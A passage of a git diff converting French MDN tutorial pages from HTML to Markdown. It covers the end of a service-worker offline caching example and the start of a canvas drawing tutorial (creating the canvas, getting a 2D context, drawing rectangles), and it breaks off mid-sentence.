n'y a plus qu'une chose à faire: écrire du code pour répondre aux prochaines requêtes réseau. -<p>C'est ce que fait le second bloc de code dans <code>sw.js</code> :</p> +C'est ce que fait le second bloc de code dans `sw.js` : -<pre class="brush: js">self.addEventListener('fetch', function(e) { +```js +self.addEventListener('fetch', function(e) { console.log(e.request.url); e.respondWith( caches.match(e.request).then(function(response) { return response || fetch(e.request); }) ); -});</pre> - -<ol> - <li> - <p>On ajoute un deuxième gestionnaire d'événement au service worker, qui exécute une fonction quand l'événement <code>fetch</code> est déclenché. Cela arrive quand le navigateur requête une ressource dans le même répertoire que le service worker (ou sous-répertoire).</p> - </li> - <li> - <p>À l'intérieur de cette fonction, on affiche l'URL de la ressource demandée dans la console, et on utilise la méthode {{domxref("FetchEvent.respondWith()")}} pour retourner une réponse personnalisée à la requête.</p> - </li> - <li> - <p>Pour construire la réponse, on utilise d'abord {{domxref("CacheStorage.match()")}} afin de vérifier si la requête est en cache (qu'une requête correspond à l'URL demandée est en cache).</p> - </li> - <li> - <p>Si elle est trouvée, la promesse se résout avec la réponse correspondante; sinon, avec <code>undefined</code>. Dans ce cas, on récupère la réponse à partir du réseau, en utilisant <code>fetch()</code>, et on retourne le résultat.</p> - </li> -</ol> - -<p>C'est tout pour notre service worker. Il y a tout un tas de choses que vous pouvez faire avec — pour plus de détails, consultez le <a href="https://serviceworke.rs/">service worker cookbook</a>. Et merci à Paul Kinlan pour son article <a href="https://developers.google.com/web/fundamentals/codelabs/offline/">Adding a Service Worker and Offline into your Web App</a>, qui a inspiré cet exemple.</p> - -<h3 id="Tester_lexemple_hors-ligne">Tester l'exemple hors-ligne</h3> - -<p>Pour tester notre <a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/">exemple de service worker</a>, rechargez d'abord la page pour vous assurer qu'il est bien installé. Une fois que c'est fait, vous pouvez soit:</p> - -<ul> - <li>Débrancher votre réseau ou éteindre votre Wifi.</li> - <li>Si vous utilisez Firefox: Sélectionner <em>Fichier > Travailler hors-connexion</em>.</li> - <li>Si vous utilisez Chrome: Aller dans les DevTols, puis choisir <em>Application > Service Workers</em>, et cocher la case à cocher <em>Offline</em>.</li> -</ul> - -<p>Si vous actualisez votre page d'exemple, vous devriez toujours la voir se charger normalemment. Tout est stocké hors connexion — les ressources de la page dans Cache et les vidéos dans une base de données IndexedDB.</p> - -<h2 id="Sommaire">Sommaire</h2> - -<p>C'est tout pour l'instant. Nous espérons que vous avez trouvé notre récapitulatif des technologies de stockage côté client utile.</p> - -<h2 id="Voir_aussi">Voir aussi</h2> - -<ul> - <li><a href="/fr/docs/Web/API/Web_Storage_API">Web storage API</a></li> - <li><a href="/fr/docs/Web/API/API_IndexedDB">IndexedDB API</a></li> - <li><a href="/fr/docs/Web/HTTP/Cookies">Cookies</a></li> - <li><a href="/fr/docs/Web/API/Service_Worker_API">Service worker API</a></li> -</ul> - -<p>{{PreviousMenu("Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}}</p> - -<h2 id="Dans_ce_module">Dans ce module</h2> - -<ul> - <li><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Introduction">Introduction aux API du Web</a></li> - <li><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Manipulating_documents">Manipuler des documents</a></li> - <li><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Fetching_data">Récupérer des données du serveur</a></li> - <li><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Third_party_APIs">APIs tierces</a></li> - <li><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Drawing_graphics">Dessiner des éléments graphiques</a></li> - <li><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Video_and_audio_APIs">APIs vidéo et audio</a></li> - <li><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Client-side_storage">Stockage côté client</a></li> -</ul> +}); +``` + +1. On ajoute un deuxième gestionnaire d'événement au service worker, qui exécute une fonction quand l'événement `fetch` est déclenché. Cela arrive quand le navigateur requête une ressource dans le même répertoire que le service worker (ou sous-répertoire). +2. À l'intérieur de cette fonction, on affiche l'URL de la ressource demandée dans la console, et on utilise la méthode {{domxref("FetchEvent.respondWith()")}} pour retourner une réponse personnalisée à la requête. +3. Pour construire la réponse, on utilise d'abord {{domxref("CacheStorage.match()")}} afin de vérifier si la requête est en cache (qu'une requête correspond à l'URL demandée est en cache). +4. Si elle est trouvée, la promesse se résout avec la réponse correspondante; sinon, avec `undefined`. Dans ce cas, on récupère la réponse à partir du réseau, en utilisant `fetch()`, et on retourne le résultat. + +C'est tout pour notre service worker. Il y a tout un tas de choses que vous pouvez faire avec — pour plus de détails, consultez le [service worker cookbook](https://serviceworke.rs/). Et merci à Paul Kinlan pour son article [Adding a Service Worker and Offline into your Web App](https://developers.google.com/web/fundamentals/codelabs/offline/), qui a inspiré cet exemple. + +### Tester l'exemple hors-ligne + +Pour tester notre [exemple de service worker](https://mdn.github.io/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/), rechargez d'abord la page pour vous assurer qu'il est bien installé. Une fois que c'est fait, vous pouvez soit: + +- Débrancher votre réseau ou éteindre votre Wifi. +- Si vous utilisez Firefox: Sélectionner _Fichier > Travailler hors-connexion_. +- Si vous utilisez Chrome: Aller dans les DevTols, puis choisir _Application > Service Workers_, et cocher la case à cocher _Offline_. + +Si vous actualisez votre page d'exemple, vous devriez toujours la voir se charger normalemment. Tout est stocké hors connexion — les ressources de la page dans Cache et les vidéos dans une base de données IndexedDB. + +## Sommaire + +C'est tout pour l'instant. Nous espérons que vous avez trouvé notre récapitulatif des technologies de stockage côté client utile. + +## Voir aussi + +- [Web storage API](/fr/docs/Web/API/Web_Storage_API) +- [IndexedDB API](/fr/docs/Web/API/API_IndexedDB) +- [Cookies](/fr/docs/Web/HTTP/Cookies) +- [Service worker API](/fr/docs/Web/API/Service_Worker_API) + +{{PreviousMenu("Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}} + +## Dans ce module + +- [Introduction aux API du Web](/fr/Apprendre/JavaScript/Client-side_web_APIs/Introduction) +- [Manipuler des documents](/fr/Apprendre/JavaScript/Client-side_web_APIs/Manipulating_documents) +- [Récupérer des données du serveur](/fr/Apprendre/JavaScript/Client-side_web_APIs/Fetching_data) +- [APIs tierces](/fr/Apprendre/JavaScript/Client-side_web_APIs/Third_party_APIs) +- [Dessiner des éléments graphiques](/fr/Apprendre/JavaScript/Client-side_web_APIs/Drawing_graphics) +- [APIs vidéo et audio](/fr/Apprendre/JavaScript/Client-side_web_APIs/Video_and_audio_APIs) +- [Stockage côté client](/fr/Apprendre/JavaScript/Client-side_web_APIs/Client-side_storage) diff --git a/files/fr/learn/javascript/client-side_web_apis/drawing_graphics/index.md b/files/fr/learn/javascript/client-side_web_apis/drawing_graphics/index.md index 95c9f7f8e4..0c6e51987c 100644 --- a/files/fr/learn/javascript/client-side_web_apis/drawing_graphics/index.md +++ b/files/fr/learn/javascript/client-side_web_apis/drawing_graphics/index.md @@ -14,561 +14,525 @@ tags: translation_of: Learn/JavaScript/Client-side_web_APIs/Drawing_graphics original_slug: Apprendre/JavaScript/Client-side_web_APIs/Drawing_graphics --- -<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}} -<p>Le navigateur contient des outils de programmation graphique très puissants, du langage <a href="/fr/docs/Web/SVG">SVG</a> (Scalable Vector Graphics), aux APIs pour dessiner sur les éléments HTML {{htmlelement("canvas")}}, (voir <a href="/fr/docs/Web/HTML/Canvas">API Canvas</a> et <a href="/fr/docs/Web/API/WebGL_API">WebGL</a>). Cet article fournit une introduction à canvas et introduit d'autres ressources pour vous permettre d'en apprendre plus.</p> +Le navigateur contient des outils de programmation graphique très puissants, du langage [SVG](/fr/docs/Web/SVG) (Scalable Vector Graphics), aux APIs pour dessiner sur les éléments HTML {{htmlelement("canvas")}}, (voir [API Canvas](/fr/docs/Web/HTML/Canvas) et [WebGL](/fr/docs/Web/API/WebGL_API)). Cet article fournit une introduction à canvas et introduit d'autres ressources pour vous permettre d'en apprendre plus. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis:</th> - <td>Bases de JavaScript (voir <a href="/fr/docs/Learn/JavaScript/First_steps">premiers pas</a>, <a href="/fr/Apprendre/JavaScript/Building_blocks">les briques JavaScript</a>, <a href="/fr/docs/Learn/JavaScript/Objects">introduction aux objets</a>), les <a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Introduction">notions de bases des APIs côté client</a></td> - </tr> - <tr> - <th scope="row">Objectif:</th> - <td>Apprendre les bases pour dessiner sur des éléments <code><canvas></code> en utilisant JavaScript.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis:</th> + <td> + Bases de JavaScript (voir + <a href="/fr/docs/Learn/JavaScript/First_steps">premiers pas</a>, + <a href="/fr/Apprendre/JavaScript/Building_blocks" + >les briques JavaScript</a + >, + <a href="/fr/docs/Learn/JavaScript/Objects">introduction aux objets</a + >), les + <a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Introduction" + >notions de bases des APIs côté client</a + > + </td> + </tr> + <tr> + <th scope="row">Objectif:</th> + <td> + Apprendre les bases pour dessiner sur des éléments + <code><canvas></code> en utilisant JavaScript. + </td> + </tr> + </tbody> </table> -<h2 id="Éléments_graphiques_sur_le_Web">Éléments graphiques sur le Web</h2> +## Éléments graphiques sur le Web -<p>Comme nous en avons parlé dans notre module HTML <a href="/fr/Apprendre/HTML/Multimedia_and_embedding">Multimédia et Intégration</a>, le web était à l'origine uniquement du texte, ce qui était très ennuyeux. Les images ont donc été introduites — d'abord via l'élément {{htmlelement("img")}} et plus tard via les propriétés CSS comme {{cssxref("background-image")}}, et <a href="/fr/docs/Web/SVG">SVG</a>.</p> +Comme nous en avons parlé dans notre module HTML [Multimédia et Intégration](/fr/Apprendre/HTML/Multimedia_and_embedding), le web était à l'origine uniquement du texte, ce qui était très ennuyeux. Les images ont donc été introduites — d'abord via l'élément {{htmlelement("img")}} et plus tard via les propriétés CSS comme {{cssxref("background-image")}}, et [SVG](/fr/docs/Web/SVG). -<p>Ce n'était cependant toujours pas assez. Tandis qu'il était possible d'utiliser <a href="/fr/Apprendre/CSS">CSS</a> et <a href="/fr/Apprendre/JavaScript">JavaScript</a> pour animer (ou manipuler) les images vectorielles SVG — puisqu'elles sont définies par le balisage — il n'y avait aucun moyen de faire de même pour les images bitmap, et les outils disponibles étaient plutôt limités. Le Web n'avait toujours pas de moyen efficace de créer des animations de jeux, des scènes 3D, et autres dispositions couramment traitées par les langages de bas niveau tels que C++ ou Java.</p> +Ce n'était cependant toujours pas assez. Tandis qu'il était possible d'utiliser [CSS](/fr/Apprendre/CSS) et [JavaScript](/fr/Apprendre/JavaScript) pour animer (ou manipuler) les images vectorielles SVG — puisqu'elles sont définies par le balisage — il n'y avait aucun moyen de faire de même pour les images bitmap, et les outils disponibles étaient plutôt limités. Le Web n'avait toujours pas de moyen efficace de créer des animations de jeux, des scènes 3D, et autres dispositions couramment traitées par les langages de bas niveau tels que C++ ou Java. -<p>La situation a commencé à s'améliorer quand les navigateurs ont commencé à prendre en charge l'élément {{htmlelement("canvas")}} et l' <a href="/fr/docs/Web/HTML/Canvas">API Canvas</a> associée — Apple l'a inventée vers 2004, et les autres navigateurs l'ont l'implémentée dans les années qui ont suivi. Comme vous le verrez dans cet article, canvas fournit de nombreux outils utiles à la création d'animation 2D, jeux, visualisations de données, et autres types d'application, particulièrement quand il est combiné à d'autres APIs que la plateforme web fournit.</p> +La situation a commencé à s'améliorer quand les navigateurs ont commencé à prendre en charge l'élément {{htmlelement("canvas")}} et l' [API Canvas](/fr/docs/Web/HTML/Canvas) associée — Apple l'a inventée vers 2004, et les autres navigateurs l'ont l'implémentée dans les années qui ont suivi. Comme vous le verrez dans cet article, canvas fournit de nombreux outils utiles à la création d'animation 2D, jeux, visualisations de données, et autres types d'application, particulièrement quand il est combiné à d'autres APIs que la plateforme web fournit. -<p>L'exemple ci-dessous montre une simple animation de balles qui rebondissent en canvas 2D, que nous avons déjà vue dans notre module <a href="/fr/docs/Learn/JavaScript/Objects/la_construction_d_objet_en_pratique">La construction d'objet en pratique</a>:</p> +L'exemple ci-dessous montre une simple animation de balles qui rebondissent en canvas 2D, que nous avons déjà vue dans notre module [La construction d'objet en pratique](/fr/docs/Learn/JavaScript/Objects/la_construction_d_objet_en_pratique): -<p>{{EmbedGHLiveSample("learning-area/javascript/oojs/bouncing-balls/index-finished.html", '100%', 500)}}</p> +{{EmbedGHLiveSample("learning-area/javascript/oojs/bouncing-balls/index-finished.html", '100%', 500)}} -<p>Autour de 2006-2007, Mozilla a commencé à travailler sur une implémentation expérimentale de canvas 3D. C'est devenu <a href="/fr/Apprendre/WebGL">WebGL</a>, lequel a gagné en popularité parmi les fournisseurs de navigateur, et a été standardisé autour de 2009-2010. WebGL permet de créer de véritables graphiques 3D dans le navigateur web; l'exemple ci-dessous montre un simple cube WebGL qui tourne:</p> +Autour de 2006-2007, Mozilla a commencé à travailler sur une implémentation expérimentale de canvas 3D. C'est devenu [WebGL](/fr/Apprendre/WebGL), lequel a gagné en popularité parmi les fournisseurs de navigateur, et a été standardisé autour de 2009-2010. WebGL permet de créer de véritables graphiques 3D dans le navigateur web; l'exemple ci-dessous montre un simple cube WebGL qui tourne: -<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/threejs-cube/index.html", '100%', 500)}}</p> +{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/threejs-cube/index.html", '100%', 500)}} -<p>Cet article se concentrera principalement sur les canvas 2D, car le code WebGL brut est très complexe. Nous montrerons cependant comment utiliser une bibliothèque WebGL pour créer une scène 3D plus facilement, et vous pourrez par la suite suivre le tutoriel <a href="/fr/Apprendre/WebGL">WebGL</a>, qui couvre le code WebGL brut.</p> +Cet article se concentrera principalement sur les canvas 2D, car le code WebGL brut est très complexe. Nous montrerons cependant comment utiliser une bibliothèque WebGL pour créer une scène 3D plus facilement, et vous pourrez par la suite suivre le tutoriel [WebGL](/fr/Apprendre/WebGL), qui couvre le code WebGL brut. -<div class="note"> -<p><strong>Note :</strong> Canvas est très bien pris en charge parmi les différents navigateurs, à l'exception de IE 8 (et inférieur) pour les canvas 2D, et IE 11 (et inférieur) pour WebGL.</p> -</div> +> **Note :** Canvas est très bien pris en charge parmi les différents navigateurs, à l'exception de IE 8 (et inférieur) pour les canvas 2D, et IE 11 (et inférieur) pour WebGL. -<h2 id="Apprentissage_actif_Débuter_avec_un_<canvas>">Apprentissage actif: Débuter avec un <canvas></h2> +## Apprentissage actif: Débuter avec un \<canvas> -<p>Si vous voulez créer une scène 2D ou 3D sur une page web, vous devez commencer avec un élément HTML {{htmlelement("canvas")}}. Cet élément est utilisé pour définir la zone de la page où l'image sera dessinée. C'est aussi simple que d'inclure l'élément dans la page:</p> +Si vous voulez créer une scène 2D ou 3D sur une page web, vous devez commencer avec un élément HTML {{htmlelement("canvas")}}. Cet élément est utilisé pour définir la zone de la page où l'image sera dessinée. C'est aussi simple que d'inclure l'élément dans la page: -<pre class="brush: html"><canvas width="320" height="240"></canvas></pre> +```html +<canvas width="320" height="240"></canvas> +``` -<p>Cela va créer un canvas sur la page d'une taille de 320 pixels par 240.</p> +Cela va créer un canvas sur la page d'une taille de 320 pixels par 240. -<p>À l'intérieur des balises du canvas, vous pouvez mettre du contenu alternatif, qui est affiché si le navigateur de l'utilisateur ne prend pas en charge les canvas.</p> +À l'intérieur des balises du canvas, vous pouvez mettre du contenu alternatif, qui est affiché si le navigateur de l'utilisateur ne prend pas en charge les canvas. -<pre class="brush: html"><canvas width="320" height="240"> - <p>Votre navigateur ne prend pas en charge canvas. Boo hoo!</p> -</canvas></pre> +```html +<canvas width="320" height="240"> + <p>Votre navigateur ne prend pas en charge canvas. Boo hoo!</p> +</canvas> +``` -<p>Bien sûr, le message ci-dessus est vraiment inutile! Dans un exemple réel, vous voudriez plutôt associer le contenu alternatif au contenu du canvas. Par exemple, si vous voulez afficher un graphique en temps réel des cours boursiers, le contenu alternatif pourrait être une image statique du dernier graphique, avec un texte indiquant quels sont les prix.</p> +Bien sûr, le message ci-dessus est vraiment inutile! Dans un exemple réel, vous voudriez plutôt associer le contenu alternatif au contenu du canvas. Par exemple, si vous voulez afficher un graphique en temps réel des cours boursiers, le contenu alternatif pourrait être une image statique du dernier graphique, avec un texte indiquant quels sont les prix. -<h3 id="Crée_et_dimensionner_notre_canvas">Crée et dimensionner notre canvas</h3> +### Crée et dimensionner notre canvas -<p>Commençons par créer notre propre canvas, que nous utiliserons pour dessiner nos futures expériences.</p> +Commençons par créer notre propre canvas, que nous utiliserons pour dessiner nos futures expériences. -<ol> - <li> - <p>Premièrement, copiez localement notre fichier <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/0_canvas_start.html">0_canvas_start.html</a>, et ouvez-le dans votre éditeur de texte.</p> - </li> - <li> - <p>Ajoutez le code suivant à l'intérieur, juste après la balise {{htmlelement("body")}} ouvrante:</p> +1. Premièrement, copiez localement notre fichier [0_canvas_start.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/0_canvas_start.html), et ouvez-le dans votre éditeur de texte. +2. Ajoutez le code suivant à l'intérieur, juste après la balise {{htmlelement("body")}} ouvrante: - <pre class="brush: html"><canvas class="myCanvas"> - <p>Ajouter un contenu alternatif approprié ici.</p> -</canvas></pre> + ```html + <canvas class="myCanvas"> + <p>Ajouter un contenu alternatif approprié ici.</p> + </canvas> + ``` - <p>Nous avons ajouté un attribut <code>class</code> à l'élément <code><canvas></code> pour que ce soit plus facile à sélectionner dans le cas où nous aurions plusieurs canvas sur la page. Et nous avons supprimé les attributs <code>width</code> et <code>height</code> pour le moment (vous pouvez les remettre si vous le voulez mais nous les définirons en utilisant JavaScript dans une section plus bas). Les canvas sans hauteur et largeur explicites sont définits par défaut à 300 pixels par 150.</p> - </li> - <li> - <p>Maintenant, ajoutez les lignes suivantes à l'intérieur de l'élément {{htmlelement("script")}}:</p> + Nous avons ajouté un attribut `class` à l'élément `<canvas>` pour que ce soit plus facile à sélectionner dans le cas où nous aurions plusieurs canvas sur la page. Et nous avons supprimé les attributs `width` et `height` pour le moment (vous pouvez les remettre si vous le voulez mais nous les définirons en utilisant JavaScript dans une section plus bas). Les canvas sans hauteur et largeur explicites sont définits par défaut à 300 pixels par 150. - <pre class="brush: js">var canvas = document.querySelector('.myCanvas'); -var width = canvas.width = window.innerWidth; -var height = canvas.height = window.innerHeight;</pre> +3. Maintenant, ajoutez les lignes suivantes à l'intérieur de l'élément {{htmlelement("script")}}: - <p>Ici, nous avons stocké une référence vers le canvas dans la variable <code>canvas</code>. Sur la deuxième ligne, nous affectons à la fois une nouvelle variable <code>width</code> et la propriété <code>width</code> du canvas à {{domxref("Window.innerWidth")}} (ce qui nous donne la largeur de la fenêtre). Sur la troisième ligne, nos affectons à la fois une nouvelle variable <code>height</code> et la propriété <code>height</code> du canvas à {{domxref("Window.innerHeight")}} (ce qui nous donne la hauteur de la fenêtre). Nous avons donc un canvas qui remplit toute la largeur et hauteur de la fenêtre!</p> + ```js + var canvas = document.querySelector('.myCanvas'); + var width = canvas.width = window.innerWidth; + var height = canvas.height = window.innerHeight; + ``` - <p>Vous avez également vu que nous avons chaîné les assignations ensemble avec plusieurs signes égal — ce qui est autorié en JavaScript, et c'est une bonne technique si vous voulez que plusieurs variables aient la même valeur. Nous avons gardé la hauteur et largeur du canvas facilement accessibles dans les variables width/height, ces valeurs seront utiles plus tard (par exemple, si vous voulez dessiner quelque chose exactement à mi-chemin de la largeur du canvas).</p> - </li> - <li> - <p>Si vous sauvegardez et chargez votre exemple dans le navigateur maintenant, vous ne verrez rien, ce qui est normal, mais vous verrez également des barres de défilement, ce qui est un problème pour nous. Cela se produit parce que l'élément {{htmlelement("body")}} a des {{cssxref("margin")}} qui, ajoutées à la taille du canvas, résulte en un document qui est plus large que la fenêtre. Pour se débarasser des barres de défilement, nous devons supprimer les {{cssxref("margin")}} et aussi définir {{cssxref("overflow")}} à <code>hidden</code>. Ajoutez ce qui suit à l'intérieur du {{htmlelement("head")}} du document:</p> + Ici, nous avons stocké une référence vers le canvas dans la variable `canvas`. Sur la deuxième ligne, nous affectons à la fois une nouvelle variable `width` et la propriété `width` du canvas à {{domxref("Window.innerWidth")}} (ce qui nous donne la largeur de la fenêtre). Sur la troisième ligne, nos affectons à la fois une nouvelle variable `height` et la propriété `height` du canvas à {{domxref("Window.innerHeight")}} (ce qui nous donne la hauteur de la fenêtre). Nous avons donc un canvas qui remplit toute la largeur et hauteur de la fenêtre! - <pre class="brush: html"><style> - body { - margin: 0; - overflow: hidden; - } -</style></pre> + Vous avez également vu que nous avons chaîné les assignations ensemble avec plusieurs signes égal — ce qui est autorié en JavaScript, et c'est une bonne technique si vous voulez que plusieurs variables aient la même valeur. Nous avons gardé la hauteur et largeur du canvas facilement accessibles dans les variables width/height, ces valeurs seront utiles plus tard (par exemple, si vous voulez dessiner quelque chose exactement à mi-chemin de la largeur du canvas). + +4. Si vous sauvegardez et chargez votre exemple dans le navigateur maintenant, vous ne verrez rien, ce qui est normal, mais vous verrez également des barres de défilement, ce qui est un problème pour nous. Cela se produit parce que l'élément {{htmlelement("body")}} a des {{cssxref("margin")}} qui, ajoutées à la taille du canvas, résulte en un document qui est plus large que la fenêtre. Pour se débarasser des barres de défilement, nous devons supprimer les {{cssxref("margin")}} et aussi définir {{cssxref("overflow")}} à `hidden`. Ajoutez ce qui suit à l'intérieur du {{htmlelement("head")}} du document: + + ```html + <style> + body { + margin: 0; + overflow: hidden; + } + </style> + ``` + + Les barres de défilement ne devraient plus être là. + +> **Note :** Vous devrez généralement définir la taille de l'image en utilisant les attributs HTML ou les propriétéss DOM, comme expliqué ci-dessus. Vous pourriez théoriquement utiliser CSS, le problème étant que le dimensionnement le canvas est alors effectué après que le contenu canvas n'ait été calculé, et comme toute autre image (puisque le canvas une fois affiché n'est plus qu'une simple image), elle peut devenir pixelisée/déformée. - <p>Les barres de défilement ne devraient plus être là.</p> - </li> -</ol> +### Obtenir le contexte du canvas et configuration finale -<div class="note"> -<p><strong>Note :</strong> Vous devrez généralement définir la taille de l'image en utilisant les attributs HTML ou les propriétéss DOM, comme expliqué ci-dessus. Vous pourriez théoriquement utiliser CSS, le problème étant que le dimensionnement le canvas est alors effectué après que le contenu canvas n'ait été calculé, et comme toute autre image (puisque le canvas une fois affiché n'est plus qu'une simple image), elle peut devenir pixelisée/déformée.</p> -</div> +Nous devons faire une dernière chose avant de considérer notre template finit. Pour dessiner sur le canvas, nous devons récupérer une référence à la zone de dessin, appelé un _contexte_. Pour ce faire, on utilise la méthode {{domxref("HTMLCanvasElement.getContext()")}}, qui, pour un usage basique ne prend qu'un seul paramètre, spécifiant quel type de contexte nous voulons récupérer. -<h3 id="Obtenir_le_contexte_du_canvas_et_configuration_finale">Obtenir le contexte du canvas et configuration finale</h3> +En l'occurence, nous voulons un canvas 2D, alors ajoutez le JavaScript suivant à la suite des autres instructions à l'intérieur de l'élément `<script>`: -<p>Nous devons faire une dernière chose avant de considérer notre template finit. Pour dessiner sur le canvas, nous devons récupérer une référence à la zone de dessin, appelé un <em>contexte</em>. Pour ce faire, on utilise la méthode {{domxref("HTMLCanvasElement.getContext()")}}, qui, pour un usage basique ne prend qu'un seul paramètre, spécifiant quel type de contexte nous voulons récupérer.</p> +```js +var ctx = canvas.getContext('2d'); +``` -<p>En l'occurence, nous voulons un canvas 2D, alors ajoutez le JavaScript suivant à la suite des autres instructions à l'intérieur de l'élément <code><script></code>:</p> +> **Note :** Vous pouvez choisir d'autres types de contexte comme `webgl` pour WebGL, `webgl2` pour WebGL 2, etc., mais nous n'en aurons pas besoin dans cet article. -<pre class="brush: js">var ctx = canvas.getContext('2d');</pre> +Voilà — notre canvas est maintenant préparé et prêt à être dessiné! La variable `ctx` contient désormais un objet {{domxref("CanvasRenderingContext2D")}}, et toutes les opérations de dessin sur le canvas impliqueront de manipuler cet objet. -<div class="note"> -<p><strong>Note :</strong> Vous pouvez choisir d'autres types de contexte comme <code>webgl</code> pour WebGL, <code>webgl2</code> pour WebGL 2, etc., mais nous n'en aurons pas besoin dans cet article.</p> -</div> +Faisons une dernière chose avant de passer à autre chose. Nous allons colorier l'arrière-plan du canvas en noir, cela vous donnera un avant-goût de l'API canvas. Ajoutez les lignes suivantes au bas de votre JavaScript: -<p>Voilà — notre canvas est maintenant préparé et prêt à être dessiné! La variable <code>ctx</code> contient désormais un objet {{domxref("CanvasRenderingContext2D")}}, et toutes les opérations de dessin sur le canvas impliqueront de manipuler cet objet.</p> +```js +ctx.fillStyle = 'rgb(0, 0, 0)'; +ctx.fillRect(0, 0, width, height); +``` -<p>Faisons une dernière chose avant de passer à autre chose. Nous allons colorier l'arrière-plan du canvas en noir, cela vous donnera un avant-goût de l'API canvas. Ajoutez les lignes suivantes au bas de votre JavaScript:</p> +Ici nous définissons une couleur de remplissage en utilisant la propriété du canvas {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}} (qui prend une [valeur de couleur](/fr/Apprendre/CSS/Introduction_à_CSS/Values_and_units#Couleurs) tout comme les propriétés CSS), puis nous dessinons un rectangle qui recouvre intégralement la surface du canvas avec la méthode {{domxref("CanvasRenderingContext2D.fillRect", "fillRect")}} (les deux premiers paramètres sont les coordonnées du coin supérieur gauche du rectangle; les deux derniers sont la largeur et la hauteur du rectangle que vous voulez dessiner — on vous avait dit que ces variables `width` et `height` allaient être utiles)! -<pre class="brush: js">ctx.fillStyle = 'rgb(0, 0, 0)'; -ctx.fillRect(0, 0, width, height);</pre> +OK, notre template est prêt et il est temps de passer à autre chose. -<p>Ici nous définissons une couleur de remplissage en utilisant la propriété du canvas {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}} (qui prend une <a href="/fr/Apprendre/CSS/Introduction_à_CSS/Values_and_units#Couleurs">valeur de couleur</a> tout comme les propriétés CSS), puis nous dessinons un rectangle qui recouvre intégralement la surface du canvas avec la méthode {{domxref("CanvasRenderingContext2D.fillRect", "fillRect")}} (les deux premiers paramètres sont les coordonnées du coin supérieur gauche du rectangle; les deux derniers sont la largeur et la hauteur du rectangle que vous voulez dessiner — on vous avait dit que ces variables <code>width</code> et <code>height</code> allaient être utiles)!</p> +## Les bases du canvas 2D -<p>OK, notre template est prêt et il est temps de passer à autre chose.</p> +Pour rappel, toutes les opération de dessin sont effectuées en manipulant un objet {{domxref("CanvasRenderingContext2D")}} (dans notre cas, `ctx`). -<h2 id="Les_bases_du_canvas_2D">Les bases du canvas 2D</h2> +De nombreuses opérations doivent recevoir des coordonnées en entrée pour savoir où dessiner quelque chose — le coin supérieur gauche du canvas est le point (0, 0), l'axe horizontal (x) va de gauche à droite, et l'axe vertical (y) va de haut en bas. -<p>Pour rappel, toutes les opération de dessin sont effectuées en manipulant un objet {{domxref("CanvasRenderingContext2D")}} (dans notre cas, <code>ctx</code>).</p> + -<p>De nombreuses opérations doivent recevoir des coordonnées en entrée pour savoir où dessiner quelque chose — le coin supérieur gauche du canvas est le point (0, 0), l'axe horizontal (x) va de gauche à droite, et l'axe vertical (y) va de haut en bas.</p> +Dessiner des formes est souvent fait en utilisant la forme rectangle, ou alors en traçant une ligne le long d'un certain chemin puis en remplissant la forme. Nous allons vous montrer ci-dessous comment faire ces deux choses. -<p><img alt="" src="Canvas_default_grid.png"></p> +### Rectangles simples -<p>Dessiner des formes est souvent fait en utilisant la forme rectangle, ou alors en traçant une ligne le long d'un certain chemin puis en remplissant la forme. Nous allons vous montrer ci-dessous comment faire ces deux choses.</p> +Commençons avec quelques rectangles simples. -<h3 id="Rectangles_simples">Rectangles simples</h3> +1. Tout d'abord, faites une copie de votre template (ou copiez localement le fichier [1_canvas_template.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/1_canvas_template.html) si vous n'avez pas suivit les étapes précédentes). +2. Ensuite, ajoutez les lignes suivantes au bas de votre JavaScript: -<p>Commençons avec quelques rectangles simples.</p> + ```js + ctx.fillStyle = 'rgb(255, 0, 0)'; + ctx.fillRect(50, 50, 100, 150); + ``` -<ol> - <li> - <p>Tout d'abord, faites une copie de votre template (ou copiez localement le fichier <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/1_canvas_template.html">1_canvas_template.html</a> si vous n'avez pas suivit les étapes précédentes).</p> - </li> - <li> - <p>Ensuite, ajoutez les lignes suivantes au bas de votre JavaScript:</p> + Si vous sauvegardez votre code et rafraichissez la page, vous devriez voir qu'un rectangle rouge est apparu sur le canvas. Son coin supérieur gauche est à (50,50) pixels du coin supérieur gauche du canvas (comme définit par les deux premiers paramètres), il a une largeur de 100 pixels et une hauteur de 150 pixels (comme définit par les paramètres 3 et 4). - <pre class="brush: js">ctx.fillStyle = 'rgb(255, 0, 0)'; -ctx.fillRect(50, 50, 100, 150);</pre> +3. Ajoutons un autre rectangle dans le mix — un vert cette fois. Ajoutez ce qui suit au bas de votre JavaScript: - <p>Si vous sauvegardez votre code et rafraichissez la page, vous devriez voir qu'un rectangle rouge est apparu sur le canvas. Son coin supérieur gauche 